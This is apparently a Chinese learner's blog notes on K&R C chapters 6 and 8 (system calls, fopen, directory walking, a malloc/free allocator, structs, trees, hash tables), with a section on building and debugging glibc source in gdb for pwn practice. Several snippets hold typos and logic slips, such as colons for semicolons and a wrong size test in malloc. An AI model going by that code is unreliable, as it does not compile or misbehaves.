1234567891011121314151617181920212223242526//#include "syscalls.h"#include <stdio.h>#include <unistd.h>int getchar(void);int main(){ char s; while((s = getchar())!=EOF){ write(1,&s,1); }}int getchar(void){ static char buf[BUFSIZ]; static char *bufp = buf; static int n = 0; if (n == 0){//缓冲区为空 n = read(0,buf, sizeof buf); bufp = buf; } return (--n>0) ? (unsigned char) *bufp++ : EOF;}
8.3 open、creat、close和unlink123456#include <fcntl.h>int fd;int open(char *name,int flags,int perms);fd = open(name, flags, perms)
123456789101112131415161718192021222324252627282930313233343536373839#include <stdio.h>#include <unistd.h>#include <fcntl.h>#include <stdarg.h>#include <stdlib.h>#define PERMS 0666void error(char *,...);int main(int argc, char *argv[]){ int f1,f2,n; char buf[BUFSIZ]; if (argc != 3) error("Usage: cp from to"); if ((f1 = open(argv[1],O_RDONLY,0)) == -1) error("cp: can't open %s",argv[1]); if ((f2 = creat(argv[2],PERMS)) == -1) error("cp: can't create %s,mode %03o",argv[2],PERMS); while((n = read(f1,buf,BUFSIZ)) > 0) if(write(f2,buf,n) !=n) error("cp: write error on file %s",argv[2]); return 0;}void error(char *fmt,...){ va_list args; va_start(args,fmt); fprintf(stderr,"error: "); vfprintf(stderr,fmt,args); fprintf(stderr,"\n"); va_end(args); exit(1);}
8.5 fopen与getc函数的实现给的iobuf应该是dos的
123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960#include <fcntl.h>#include "syscalls.h"#define PERMS 0666FILE *fopen(char *name, char *mode){ int fd; FILE *fp; if (*mode != 'r' && *mode !='w' && *mode!='a') return NULL; for (fp= _iob; fp < _iob + OPEN_MAX; fp++) if ((fp->flag & (_READ | _WRITE)) == 0) break; if (fp > _iob+OPEN_MAX) return NULL; if (*mode == 'w') fd = creat(name,PERMS); else if (*mode == 'a'){ if ((fd = open(name,O_WRONLY,0)) == -1) fd = creat(name,PERMS); lseek(fd,0L,2); }else fd = open(name,O_RDONLY,0); if (fd == -1) return NULL; fp->fd = fd; fd->cnt =0; fp->base = NULL; fp->flag = (*mode == 'r') ? _READ : _WRITE; return fp;}int _fillbuf(FILE *fp){ int bufsize; if ((fp->flag&(_READ|_EOF|_ERR)) != _READ) return EOF: bufsize = (fp->flag & _UNBUF) ? 1 : BUFSIZE; if (fp->base == NULL) if ((fp->base = (char *) malloc(bufsize)) == NULL) return EOF; fp->ptr = fp->base; fp->cnt = read(fp->fd, fp->ptr,bufsize); if (--fp->cnt < 0){ if (fp->cnt == -1) fp->flag |= _EOF; else fp->flag !=_ERR: fp->cnt = 0; return EOF: } return (unsigned char) *fp->ptr++;}
8.6123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139#define NAME_MAX 14typedef struct { long ino; char name[NAME_MAX+1];} Dirent;typedef struct{ int fd; Dirent d;} DIR1;DIR1 *opendir1(char *dirname);Dirent *readdir1(DIR1 *dfd);void closedir1(DIR1 *dfd);#include <stdio.h>#include <string.h>#include <fcntl.h>#include <sys/types.h>#include <sys/stat.h>//#include "dirent.h"#include <stdlib.h>#include <unistd.h>void fsize(char *);//int stat(char *,struct stat * );void dirwalk(char *, void (*fcn)(char *));int main(int argc, char **argv){ if (argc == 1) fsize("."); else while(--argc > 0) fsize(*++argv); return 0;}void fsize(char *name){ struct stat stbuf; if (stat(name,&stbuf) == -1) { fprintf(stderr,"fsize: can't access %s\n",name); } if ((stbuf.st_mode & S_IFMT) == S_IFDIR) { printf("is a dir\n"); dirwalk(name, fsize); } printf("%8ld %s\n",stbuf.st_size,name);}#define MAX_PATH 1024void dirwalk(char *dir,void (*fcn)(char *)){ char name[MAX_PATH]; Dirent *dp; DIR1 *dfd; if ((dfd = opendir1(dir)) == NULL) { fprintf(stderr,"dirwalk: can't open %s\n",dir); return; } printf("here\n"); while ((dp = readdir1(dfd)) != NULL){ printf("dp->name:%s",dp->name); if (strcmp(dp->name,".") ==0 || strcmp(dp->name,"..")==0) continue; //跳过自身和父目录 if (strlen(dir)+strlen(dp->name)+2 > sizeof(name)) fprintf(stderr,"dirwalk: name %s/%s too long\n",dir,dp->name); else{ sprintf(name,"%s/%s",dir,dp->name); (*fcn)(name); } } closedir1(dfd);}DIR1 *opendir1(char *dirname){ int fd; struct stat stbuf; DIR1 *dp; if ((fd = open(dirname,0,O_RDONLY,0)) == -1 || fstat(fd,&stbuf) == -1 || (dp = (DIR1 *) malloc(sizeof(DIR1))) == NULL) return NULL; dp->fd = fd; return dp;}#include <sys/dir.h>#ifndef DIRSIZ#define DIRSIZ 14#endifstruct direct1{ ino_t d_ino; char d_name[DIRSIZ];};Dirent *readdir1(DIR1 *dp){ struct direct1 dirbuf; static Dirent d; while(read(dp->fd,(char *)&dirbuf,sizeof(dirbuf)) == sizeof(dirbuf)){ if(dirbuf.d_ino == 0) continue; d.ino = dirbuf.d_ino; strncpy(d.name, dirbuf.d_name,DIRSIZ); d.name[DIRSIZ] = '\0'; return &d;} return NULL;}void closedir1(DIR1 *dp){ if(dp){ close(dp->fd); free(dp);}}
12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364#define NAME_MAX 14#include <stdio.h>#include <string.h>#include <fcntl.h>#include <sys/types.h>#include <sys/stat.h>#include <stdlib.h>#include <unistd.h>#include <sys/dir.h>#define MAX_PATH 1024void dirwalk(char *dir,void (*fcn)(char *)){ char name[MAX_PATH]; struct dirent *dp; DIR *dfd; if ((dfd = opendir(dir)) == NULL) { fprintf(stderr,"dirwalk: can't open %s\n",dir); return; } //printf("here\n"); while ((dp = readdir(dfd)) != NULL){ //printf("dp->name:%s",dp->d_name); if (strcmp(dp->d_name,".") ==0 || strcmp(dp->d_name,"..")==0) continue; //跳过自身和父目录 if (strlen(dir)+strlen(dp->d_name)+2 > sizeof(name)) fprintf(stderr,"dirwalk: name %s/%s too long\n",dir,dp->d_name); else{ sprintf(name,"%s/%s",dir,dp->d_name); (*fcn)(name); } } closedir(dfd);}void fsize(char *name){ struct stat stbuf; if (stat(name,&stbuf) == -1) { fprintf(stderr,"fsize: can't access %s\n",name); } if ((stbuf.st_mode & S_IFMT) == S_IFDIR) { //printf("is a dir\n"); dirwalk(name, fsize); } printf("%8ld %s\n",stbuf.st_size,name);}int main(int argc, char **argv){ if (argc == 1) fsize("."); else while(--argc > 0) fsize(*++argv); return 0;}
其实那些opendir函数等都不需要自己实现(不过从练习的角度讲,可以自己实现) , 自己实现的话,记得要根据操作系统的情况, 把对应的结构体都修改了,否则就会出问题
https://github.com/Heatwave/The-C-Programming-Language-2nd-Edition/tree/master/chapter-8-the-unix-system-interface
https://www.learntosolveit.com/cprogramming/chapter8/ex_8.5_fsize
niubi: https://stackoverflow.com/questions/7381000/what-is-wrong-with-this-example-from-kr
8.7 存储分配程序实例 内存抽象成块的组织形式,以链表的形式进行组织,每个块都含有一个长度、指向下一个块的指针以及一个指向自身数据存储位置的指针.
1234567891011typedef long Align; //按照long类型的边界对齐union header{ //内存块的头部信息 struct { union header *ptr; // 空闲块链表中的下一块 unsigned size; // 当前块的大小 } s; Align x; //强制块的对齐 (效果就是8字节对齐,计算机中对齐通常取决于包含的最大基本数据类型的大小};typedef union header Header;
malloc时, ,找到的块太大的话,把尾部返回给用户,这样,初始块的头部只需要修改size就可以了
free时,寻找的首先是这样的情况, bp > p && bp < p->s.ptr
如果不符合,看是否符合这种情况,即被释放的块在链表的开头或者末尾
最终代码
123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105#include <stddef.h>#include <string.h>typedef long Align; //按照long类型的边界对齐union header{ //内存块的头部信息 struct { union header *ptr; // 空闲块链表中的下一块 unsigned size; // 当前块的大小 } s; Align x; //强制块的对齐 (效果就是8字节对齐,计算机中对齐通常取决于包含的最大基本数据类型的大小};typedef union header Header;static Header base; //从空链表开始?static Header *freep = NULL; //空闲链表的初始指针void *malloc(unsigned nbytes){ Header *p,*prevp; Header *morecore(unsigned); unsigned nunits; nunits = (nbytes+sizeof(Header)-1)/sizeof(Header)+1;// +1是那个Align x? if ((prevp=freep) == NULL){ //没有空闲链表 base.s.ptr = freep = prevp = &base; base.s.size= 0; } for(p = prevp->s.ptr; ;prevp=p,p = p->s.ptr){ if(p->s.size > nunits){//足够大 if (p->s.size == nunits) //正好 prevp->s.ptr = p->s.ptr; //从链表中卸下p else{ //大了,分配剩下的 p->s.size = p->s.size - nunits; //剩下的大小 p += p->s.size; //p移动到了分配的那里 p ->s.size = nunits;//p的大小改成了分配的大小,(那之前的呢?) // 逻辑是这样,找到的块太大的话,把尾部返回给用户, //这样,初始块的头部只需要修改size就可以了 } freep = prevp; return (void *)(p+1);//返回数据部分的指针 } if (p == freep) //闭环的空闲链表 if ((p = morecore(nunits)) == NULL) return NULL; //没有剩余的存储空间了 }}void free(void *ap){ Header *bp, *p; bp = (Header *)ap - 1; //指向块头 for (p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr) if (p >= p->s.ptr && (bp > p || bp < p->s.ptr)) break; //被释放的块在链表的开头或者末尾 if( bp + bp->s.size == p->s.ptr){ //与前面相邻块合并 bp->s.size += p->s.ptr->s.size; bp->s.ptr = p->s.ptr->s.ptr; } else bp->s.ptr = p->s.ptr; //串进链表里 if(p + p->s.size == bp){ //与后面的堆块合并 p->s.size += bp->s.size; p->s.ptr = bp->s.ptr; //这一句是不是没必要呢?? 有必要的,如果上一次和前面的合并了 //这里也可能出现再次合并, 这里需要修改指针的 } else p->s.ptr = bp; freep = p;}#define NALLOC 1024Header *morecore(unsigned nu){ char *cp, *sbrk(int); Header *up; if (nu < NALLOC) nu = NALLOC; cp = sbrk(nu * sizeof(Header)); if (cp == (char *) -1) return NULL; up = (Header *) cp; up->s.size = nu; free((void * )(up+1)); return freep;}void main(){ char *str1; char *str2; str1 = malloc(0x20); strcpy(str1, "hello"); str2 = malloc(0x30); strcpy(str2, "tang");}
pwn入门-46-glibc源码调试
有时候需要看库函数哪里出问题了,有源码调试的话,看起来会更直观和方便
glibc源代码调试 开启gdb后 dir xxxx目录 即可
但dir命令加载源码只能指定单个目录或文件,在gdb启动的时候用这个命令来加载glibc源码进去就好了
1gdb `find ~/path/to/glibc/source -type d -printf '-d %p '` ./a.out
当前机器版本libc 安装带调试版本libc
12apt install libc6-dbg apt install libc6-dbg:i386
下载对应的源代码
1231. 修改/etc/apt/sources.list 开启deb-src (不知道是不是都要开)2. apt update3. apt source libc6-dev
注意第三步会在当前目录进行下载
调试的时候进行指定即可: gdb -q ./pwn -d /xxx/xxx/glibc-2.31/
不同版本glibc下载与编译官方下载与编译https://ftp.gnu.org/gnu/glibc/
123456git clone git://sourceware.org/git/glibc.git && cd glibcgit checkout glibc-2.31mkdir build && cd build../configure --prefix=/usr/local/glibc-2.31-debug --enable-debug=yesmake -j16make install # 这时候/usr/local/glibc-2.31-debug/就有文件了 包含库文件和头文件
查看当前分支: git branch
查看有哪些分支: git branch -a
指定编译好的库进行文件编译 –rpath指定共享库路径 -I指定动态链接器
就可以用指定的libc来编译代码了, 这样的话, 也会很自然就有glibc的源代码可以调试了
1gcc -L/usr/local/glibc-2.31-debug/lib -Wl,--rpath=/usr/local/glibc-2.31-debug/lib -Wl,-I/usr/local/glibc-2.31-debug/lib/ld-2.31.so hello.c -o hello
为什么不用加 -g了? (需要的,如果要看hello.c的源代码的话)
但是用glibcallinone下载的不行..有问题, 那是因为它只有编译好的库,没有头文件之类的吧?
glibc-all-in-one工具 这里是编译好的,一般都是带符号的,但是如果需要源代码调试还是需要下载源码并加载进gdb里面进行调试
https://blog.csdn.net/csdn546229768/article/details/122691241
如果网站里没有的话,就修改download源代码, 换个source看看,google精准搜索搜索一下
debug信息 符号文件在哪呢, 被编译进程序里了吧,我记得之前有单独的符号文件的
ls -al /usr/lib/debug/.build-id/这里有
12345678drwxr-xr-x 2 root root 4096 7月 27 10:48 .drwxr-xr-x 236 root root 4096 7月 27 10:48 ..-rw-r--r-- 1 root root 23496 4月 7 2022 329f3d85e153a01672b77b853beda0faf0dee6.debug-rw-r--r-- 1 root root 20104 4月 7 2022 9f5043bbf7cfbf4dfd27684d9c3cbcbb835bd9.debug-rw-r--r-- 1 root root 19468 4月 7 2022 b0728b23be4032704a004d8066a268c4b6924a.debug-rw-r--r-- 1 root root 20052 4月 7 2022 bbb582f3d2cd3464764682f1937b4e3d9c2641.debug-rw-r--r-- 1 root root 22200 4月 7 2022 c4ae3a65bc87ea96986b3b2441e892c8a433f0.debug-rw-r--r-- 1 root root 22168 4月 7 2022 cd9124f765fe93560701d55d5c61c37be4657a.debug
但是glibcallinone里没找到这个呀…
他们之间是什么关系呢?
libc编译案例 做一道题需要23版本的libc,用ubuntu20编译的有问题..换18试试 (也有很多报错, 难道得换debian?)
source是源码,右边是编译好的,但是没有符号信息
难道版本不对? 这个source看起来是没有什么问题的,下载后看了下源码文件
https://launchpad.net/ubuntu/xenial/amd64/libc6/2.23-0ubuntu11
http://launchpadlibrarian.net/409875491/libc6_2.23-0ubuntu11_amd64.deb
1234mkdir build && cd build../configure --prefix=/usr/local/glibc-2.23-debug --enable-debug=yesmake -j16make install # 这时候/usr/local/glibc-2.23-debug/就有文件了 包含库文件和头文件
罢了……..还是报错….处理不了……..(回头试试16, 或者说 还是得换debian? 不纠结这个编译问题了…)
转机https://launchpad.net/ubuntu/xenial/amd64/libc6-dbg/2.23-0ubuntu11
嘶,用了一下还是不太行
不过实际做题也未必要一模一样的环境,反正给了libc,可以从里面找偏移
报错处理之前报错说要加–disable-werror, 但是好像也没啥用,
../configure –disable-werror –prefix=/usr/local/glibc-2.23 –enable-debug=yes
12error: argument 1 of type ‘struct __jmp_buf_tag *’ declared as a pointer [-Werror=array-parameter=] 743 | extern int __sigsetjmp (struct __jmp_buf_tag *__env,
https://stackoverflow.com/questions/76079071/when-i-compile-glibc-2-28-with-the-make-command-on-centos-7-5-i-got-the-error-l
make[1]: *** [Makefile:214: stdio-common/subdir_lib] Error
https://www.cnblogs.com/zq10/p/14314952.html
https://gist.github.com/stefan1wan/5e4b3973aae578ac39f94d30a5555f19
make[2]: *** No rule to make target ‘../manual/errno.texi’, needed by ‘../sysdeps/gnu/errlist.c’. Stop
Inconsistency detected by ld.so: dl-call-libc-early-init.c: 37: _dl_call_libc_early_init: Assertion `sym != NULL’ failed!
问: 这里有现成的libc可以用,但是没有符号文件, 符号和源代码又是两回事吧
答: 是的,两回事
问: 没有符号咋办, 只能进行编译吗..
答: 我记得之前做海大ctf,ida可以导入符号文件,网上有编译好的符号文件,这个网站上也有symbol, 但是不全
问: gcc直接用这里的库编译会有问题,需要install?
问: 如何编译符号文件呢
调试案例printf的调用路径12345#include <stdio.h>void main(){ printf("hello,%s\n","world"); //防止优化为puts}
调试, bt追踪栈
1234#0 0x00007ffff7e5ca69 in __printf (format=0x55555555600a "hello,%s\n") at printf.c:28#1 0x0000555555555169 in main ()#2 0x00007ffff7e2d013 in __libc_start_main (main=0x555555555149 <main>, argc=1, argv=0x7fffffffe5a8, init=<optimized out>, fini=<optimized out>, rtld_fini=<optimized out>, stack_end=0x7fffffffe598) at ../csu/libc-start.c:308#3 0x000055555555508e in _start ()
会发现进入的是__printf函数,为什么不是printf函数呢? 需要看libc源代码
进到这里是因为ldbl_strong_alias (__printf, printf); 将printf和 _ _ printf进入了的函数统一为 _ _printf
stdio-common/printf.c
1234567891011121314151617181920212223242526#include <libioP.h>#include <stdarg.h>#include <stdio.h>#undef printf/* Write formatted output to stdout from the format string FORMAT. *//* VARARGS1 */int__printf (const char *format, ...){ va_list arg; int done; va_start (arg, format); done = vfprintf (stdout, format, arg); va_end (arg); return done;}#undef _IO_printfldbl_strong_alias (__printf, printf);/* This is for libg++. */ldbl_strong_alias (__printf, _IO_printf);
__printf又主要调用了vfprintf函数,在stdio-common/vfprintf.c中, 这个函数有点长
函数完整加载过程恩….比较复杂..有时间专门学习下..
原文地址: http://dbp-consulting.com/tutorials/debugging/linuxProgramStartup.html
翻译: https://zhuanlan.zhihu.com/p/52054044
https://zhuanlan.zhihu.com/p/521205296
其他参考:
https://xuanxuanblingbling.github.io/ctf/pwn/2021/12/12/csu/
程序员的自我修养里面也有
_start1234567891011121314150000000000001060 <_start>: 1060: f3 0f 1e fa endbr64 1064: 31 ed xor %ebp,%ebp 1066: 49 89 d1 mov %rdx,%r9 1069: 5e pop %rsi 106a: 48 89 e2 mov %rsp,%rdx 106d: 48 83 e4 f0 and $0xfffffffffffffff0,%rsp 1071: 50 push %rax 1072: 54 push %rsp 1073: 4c 8d 05 66 01 00 00 lea 0x166(%rip),%r8 # 11e0 <__libc_csu_fini> 107a: 48 8d 0d ef 00 00 00 lea 0xef(%rip),%rcx # 1170 <__libc_csu_init> 1081: 48 8d 3d c1 00 00 00 lea 0xc1(%rip),%rdi # 1149 <main> 1088: ff 15 52 2f 00 00 callq *0x2f52(%rip) # 3fe0 <__libc_start_main@GLIBC_2.2.5> 108e: f4 hlt 108f: 90 nop
__libc_start_mainstarti可以从最开始启动时下断点
可以慢慢地去一探究竟程序的过程了!
https://refspecs.linuxbase.org/LSB_3.1.1/LSB-Core-generic/LSB-Core-generic/baselib---libc-start-main-.html
它会处理执行环境的初始化工作, 然后调用main函数, 并且处理main函数的返回,
它可能干的事如下
performing any necessary security checks if the effective user ID is not the same as the real user ID.
initialize the threading subsystem.
registering the *rtld_fini* to release resources when this dynamic shared object exits (or is unloaded).
registering the *fini* handler to run at program exit.
calling the initializer function (**init*)().
calling main() with appropriate arguments.
calling exit() with the return value from main().
参考https://xuanxuanblingbling.github.io/ctf/tools/2020/03/20/gdb/
[原创]关于不同版本 glibc 更换的一些问题: https://bbs.kanxue.com/thread-254868.htm
https://gist.github.com/stefan1wan/5e4b3973aae578ac39f94d30a5555f19
问答有无符号的区别在哪呢….蒙圈了
函数、变量符号
有符号的话是可以看到定义的那些变量、函数等,但是不知道行数、具体的代码
符号文件在哪?
deb如何解包 dpkx -x xxxxx.deb ./
debug文件为什么会有单独的,为什么glibcallinone里的不用呢
c语言回炉重造-结构-输入与输出
第六章 结构 结构还是很重要的,在编写大型程序的时候,或者平常看源代码,会看到非常多的结构体
6.1 结构的基本知识 在写这个程序的时候遇到了很奇怪的问题,dist = sqrt(4.0);不会报错,但是dist = sqrt(a);就会报错,百思不得其解.
12345678910111213141516171819202122232425262728#include <stdio.h>#include <math.h>void main(){ struct point { int x; int y; }; struct point maxpt = {320,200}; printf("length: %d, width: %d\n",maxpt.x,maxpt.y); double dist; printf("%f\n",(double)maxpt.x * maxpt.x + (double)maxpt.y * maxpt.y); dist = sqrt(4.0); double test = (double)maxpt.x * maxpt.x + (double)maxpt.y * maxpt.y; double a = 4.0; dist = sqrt(a); //dist = sqrt(test); //dist = sqrt( (double)maxpt.x * maxpt.x + (double)maxpt.y * maxpt.y ); //printf("%f\n",(double)maxpt.x * maxpt.x + (double)maxpt.y * maxpt.y); //dist = sqrt(4.0); printf("duijiaoxian: %f\n",dist);}
神奇的gpt,所以是编译优化的事, 优化过后不用这个函数了,所以好像是显得没有问题一样,可以用gdb调试,会发现这里根本没有调用函数
123► 0x5555555551b5 <main+108> movsd xmm0, qword ptr [rip + 0xe7b] 0x5555555551bd <main+116> movsd qword ptr [rbp - 0x20], xmm0 0x5555555551c2 <main+121> mov eax, dword ptr [rbp - 8]
链接上就好了 gcc main.c -lm
12► 0x555555555244 <main+219> call sqrt@plt <sqrt@plt> x: 0x7ffff7e5f7e0 (_IO_stdfile_1_lock) ◂— 0x0
6.2 结构与函数
12345678910111213141516171819202122232425262728293031323334353637383940414243#include <stdio.h>#include <math.h>struct point { int x; int y; };// 矩形struct rect { struct point pt1; struct point pt2;};struct point makepoint(int x,int y){ struct point temp; temp.x = x; temp.y = y; return temp;};void main(){ struct rect screen; struct point middle; struct point makepoint(int,int); int XMAX, YMAX; XMAX = YMAX = 0; screen.pt1 = makepoint(100,100); screen.pt2 = makepoint(XMAX,YMAX); middle = makepoint((screen.pt1.x + screen.pt2.x)/2, (screen.pt1.y+screen.pt2.y)/2); printf("middle's x= %d, middle's y = %d\n",middle.x,middle.y);}
6.3 结构数组 需要注意各种定义的先后顺序
123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114#include <stdio.h>#include <ctype.h>#include <string.h>#define MAXWORD 100struct key{ char *word; int count;} keytab[] = { "auto",0, "break",0, "case",0, "char",0, "const",0, "continue",0, "default",0, "unsigned",0, "void",0, "volatile",0, "while",0};//如何定义查找的结构体的长度呢?//#define NKEYS (sizeof keytab / sizeof(struct key))// 下面这种更好,即使类型改变了,也不需要改动程序#define NKEYS (sizeof keytab / sizeof keytab[0])int getword(char *,int);int binsearch(char *, struct key *,int);int main(){ int n; char word[MAXWORD]; while (getword(word,MAXWORD) != EOF) if (isalpha(word[0])) if((n = binsearch(word, keytab, NKEYS)) >= 0) keytab[n].count++; printf("test\n"); printf("%d\n",NKEYS); for(n=0; n < NKEYS;n++) if(keytab[n].count >0) printf("%4d %s\n",keytab[n].count, keytab[n].word); return 0;}// 折半查找函数 、在tab[0]<=tab[1]<=tab[2]<=....tab[n-1]中查找word// 如果在这里面判断是否到结尾的话,是不是有可能判断是否,比如有脏数据这种?int binsearch(char *word,struct key tab[],int n){ int cond; int low,high,mid; low = 0; high = n-1; while(low <= high) { mid = (low + high)/2; if ((cond = strcmp(word,tab[mid].word)) < 0) high = mid - 1; else if(cond > 0) low = mid + 1; else return mid; } return -1; //没有匹配的值}//从输入中读取下一个单词或字符int getword(char *word, int lim){ int c,getch(void); void ungetch(int); char *w = word; while (isspace(c = getch())) ; if (c!=EOF) *w++ = c; if(!isalpha(c)){ //说明是单个字符, *w = '\0'; return c; } for(; --lim >0; w++) if(!isalnum(*w=getch())){ ungetch(*w); break; } *w = '\0'; return word[0];//为啥要这样呢????, 为什么不是word呢, 看返回值类型,不是返回一个指针}#define BUFSIZE 100char buf[BUFSIZE];int bufp = 0;int getch(void){ return (bufp > 0)? buf[--bufp] : getchar();}void ungetch(int c){ if (bufp >= BUFSIZE) printf("ungetch: too many characters\n"); else buf[bufp++] = c;}
<ctype.h>中
isspace 判断是否是空白符号, isalpha判断是否是字母,isalnum判断是否是数字或字母
标准的空白字符
123456' ' (0x20) space (SPC) 空格符'\t' (0x09) horizontal tab (TAB) 水平制表符 '\n' (0x0a) newline (LF) 换行符'\v' (0x0b) vertical tab (VT) 垂直制表符'\f' (0x0c) feed (FF) 换页符'\r' (0x0d) carriage return (CR) 回车符
ctrl+d获取EOF结束输入
6.4 指向结构的指针123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115#include <stdio.h>#include <ctype.h>#include <string.h>#define MAXWORD 100struct key{ char *word; int count;} keytab[] = { "auto",0, "break",0, "case",0, "char",0, "const",0, "continue",0, "default",0, "unsigned",0, "void",0, "volatile",0, "while",0};//如何定义查找的结构体的长度呢?//#define NKEYS (sizeof keytab / sizeof(struct key))// 下面这种更好,即使类型改变了,也不需要改动程序#define NKEYS (sizeof keytab / sizeof keytab[0])int getword(char *,int);struct key *binsearch(char *, struct key *,int);int main(){ char word[MAXWORD]; struct key *p; while (getword(word,MAXWORD) != EOF) if (isalpha(word[0])) if((p = binsearch(word, keytab, NKEYS)) != NULL) p->count++; for(p = keytab; p < keytab + NKEYS;p++) if(p->count >0) printf("%4d %s\n",p->count, p->word); return 0;}// 折半查找函数 、在tab[0]<=tab[1]<=tab[2]<=....tab[n-1]中查找word//这种函数风格可以较好的看出类型来struct key *binsearch(char *word,struct key *tab,int n){ int cond; struct key *low = &tab[0]; struct key *high = &tab[n]; struct key *mid; while(low < high) { mid = low + (high-low)/2; if ((cond = strcmp(word,mid->word)) < 0) high = mid; else if(cond > 0) low = mid + 1; else return mid; } return NULL; //没有匹配的值}//从输入中读取下一个单词或字符int getword(char *word, int lim){ int c,getch(void); void ungetch(int); char *w = word; while (isspace(c = getch())) ; if (c!=EOF) *w++ = c; if(!isalpha(c)){ //说明是单个字符, *w = '\0'; return c; } for(; --lim >0; w++) if(!isalnum(*w=getch())){ ungetch(*w); break; } *w = '\0'; return word[0];//为啥要这样呢????, 为什么不是word呢,}#define BUFSIZE 100char buf[BUFSIZE];int bufp = 0;int getch(void){ return (bufp > 0)? buf[--bufp] : getchar();}void ungetch(int c){ if (bufp >= BUFSIZE) printf("ungetch: too many characters\n"); else buf[bufp++] = c;}
6.5 自引用结构 用二叉树来存储
123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125#include <stdio.h>#include <ctype.h>#include <string.h>#define MAXWORD 100struct tnode *addtree(struct tnode *p, char *w);void treeprint(struct tnode *p);struct tnode *talloc(void);char *strdup1(char *s);int getword(char *word, int lim);struct tnode{ char *word; int count; struct tnode *left; struct tnode *right;};int main(){ struct tnode *root; char word[MAXWORD]; root = NULL; while(getword(word,MAXWORD)!=EOF) if(isalpha(word[0])) root = addtree(root,word); treeprint(root); return 0;}struct tnode *talloc(void);struct tnode *addtree(struct tnode *p, char *w){ int cond; if (p == NULL) { p = talloc();//创建一个新节点 p->word = strdup1(w); p->count = 1; p->left = p->right = NULL; }else if ((cond = strcmp(w,p->word)) == 0 ) p->count++; else if(cond < 0) p->left = addtree(p->left,w); else p->right=addtree(p->right,w); return p;}//按顺序打印二叉树pvoid treeprint(struct tnode *p){ if (p!=NULL) { treeprint(p->left); printf("%4d %s\n",p->count,p->word); treeprint(p->right); }}#include <stdlib.h>//创建一个tnode//用sizeof计算大小更准确,考虑到对齐等struct tnode *talloc(void){ return (struct tnode *) malloc(sizeof(struct tnode));}char *strdup1(char *s){ char *p; p = (char *) malloc(strlen(s)+1);//+1是因为结尾要加\0 if (p != NULL) strcpy(p,s); return p;}//从输入中读取下一个单词或字符int getword(char *word, int lim){ int c,getch(void); void ungetch(int); char *w = word; while (isspace(c = getch())) ; if (c!=EOF) *w++ = c; if(!isalpha(c)){ //说明是单个字符, *w = '\0'; return c; } for(; --lim >0; w++) if(!isalnum(*w=getch())){ ungetch(*w); break; } *w = '\0'; return word[0];//为啥要这样呢????, 为什么不是word呢,}#define BUFSIZE 100char buf[BUFSIZE];int bufp = 0;int getch(void){ return (bufp > 0)? buf[--bufp] : getchar();}void ungetch(int c){ if (bufp >= BUFSIZE) printf("ungetch: too many characters\n"); else buf[bufp++] = c;}
6.6 表查找 之前学过的,用散列等方法,进行查表
123456789struct nlist{ //链表项 struct nlist *next; //链表中下一个表项 char *name; //定义的名字 char *defn; //替换文本};#define HASHSIZE 101static struct nlist *hashtab[HASHSIZE]; //指针表
散列函数
123456789// hash函数, 为字符串s生成散列值unsigned hash(char *s){ unsigned hashval; for(hashval=0; *s !='\0';s++) hashval = *s + 31* hashval; //数字的相加 return hashval % HASHSIZE:}
查找函数
12345678struct nlist *lookup(char *s){ struct nlist *np; for (np = hashtab[hash(s)]; np != NULL; np = np->next) if (strcmp(s, np->name) == 0) return np; return NULL;}
加入函数
123456789101112131415161718192021struct nlist *lookup(char *s);char *strdup(char *);struct nlist *install(char *name, char *defn){ struct nlist *np; unsigned hashval; if((np = lookup(name)) == NULL){//未找到 np = (struct nlist *) malloc(sizeof(*np)); if (np == NULL || (np->name = strdup(name)) == NULL) return NULL; hashval = hash(name); np->next = hashtab[hashval]; //头插, hashtab[hashval] = np; }else free((void *)np->defn) if((np->defn = strdup(defn)) == NULL) return NULL return np;}
整合
123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596#include <stdio.h>#include <string.h>#include <stdlib.h>struct nlist{ //链表项 struct nlist *next; //链表中下一个表项 char *name; //定义的名字 char *defn; //替换文本};#define HASHSIZE 101static struct nlist *hashtab[HASHSIZE]; //指针表struct nlist *lookup(char *s);char *strdup1(char *);unsigned hash(char *s);struct nlist *install(char *name, char *defn);int main(){ printf("1.add\n"); char *name,*defn; name = (char *)malloc(100); defn = (char *)malloc(100); if (name == NULL || defn == NULL){ printf("内存分配失败\n"); return 1; } while(1){ printf("请输入名字和替换的名字"); scanf("%s %s",name,defn);//这直接用是不对的,需要分配内存 install(name,defn); } free(name); free(defn); return 0; }// hash函数, 为字符串s生成散列值unsigned hash(char *s){ unsigned hashval; for(hashval=0; *s !='\0';s++) hashval = *s + 31* hashval; //数字的相加 return hashval % HASHSIZE;}struct nlist *lookup(char *s){ struct nlist *np; for (np = hashtab[hash(s)]; np != NULL; np = np->next) if (strcmp(s, np->name) == 0) return np; return NULL;}struct nlist *install(char *name, char *defn){ struct nlist *np; unsigned hashval; if((np = lookup(name)) == NULL){//未找到 np = (struct nlist *) malloc(sizeof(*np)); if (np == NULL || (np->name = strdup(name)) == NULL) return NULL; hashval = hash(name); np->next = hashtab[hashval]; //头插, hashtab[hashval] = np; }else free((void *) np->defn); if((np->defn = strdup1(defn)) == NULL) return NULL; return np;}char *strdup1(char *s){ char *p; p = (char *) malloc(strlen(s)+1);//+1是因为结尾要加\0 if (p != NULL) strcpy(p,s); return p;}
6.7 6.8 类型定义(typedef)、位字段第七章 输入与输出7.1 标准输入输出12345678910111213//用于将输入转换为小写字母的形式#include <stdio.h>#include <ctype.h>int main(){ int c; while ((c = getchar()) != EOF) putchar(tolower(c)); return 0;}
